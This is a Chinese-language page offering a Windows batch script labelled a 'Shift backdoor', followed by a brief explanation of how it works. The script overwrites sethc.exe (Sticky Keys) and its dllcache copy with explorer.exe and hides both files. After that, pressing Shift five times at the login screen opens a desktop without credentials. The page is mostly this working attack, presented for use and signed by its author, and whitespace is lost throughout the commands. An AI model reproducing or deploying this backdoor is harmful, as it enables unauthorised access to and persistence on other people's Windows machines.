一个简单的shift后门程序的安装

@echooff

cls

echo~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

echo~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

echo.

echoShift后门

echo.sproink
echo使用方法:本文件执行完毕后,

echo在终端界面按Shift5次即可登陆系统!

echo~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

echo~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

echo.

copyc:\windows\explorer.exec:\windows\system32\sethc.exe

echo完成百分之50

copyc:\windows\system32\sethc.exec:\windows\system32\dllcache\sethc.exe

echo完成百分之80

attribc:\windows\system32\sethc.exe+h

echo完成百分之90

attribc:\windows\system32\dllcache\sethc.exe+h

echo完成百分之100

cls

echo.

echo~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

echo~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

echo后门安装完毕！

echoWriteby清风明月QQ:851542338

echo.

echo~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

echo~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

echo.

echo.&pause

exit

 
 
批处理分析：
copyc:\windows\explorer.exec:\windows\system32\sethc.exe 

copyc:\windows\system32\sethc.exec:\windows\system32\dllcache\sethc.exe

attribc:\windows\system32\sethc.exe+h

attribc:\windows\system32\dllcache\sethc.exe+h
explorer.exe熟悉电脑的朋友都知道，这个程序是windows资源管理器。可进入系统桌面的东东！
以上后门的原理是：按Shift键调用sethc.exe,如果把sethec.exe替换成explorer.exe,则可以打开资源管理器。
*
*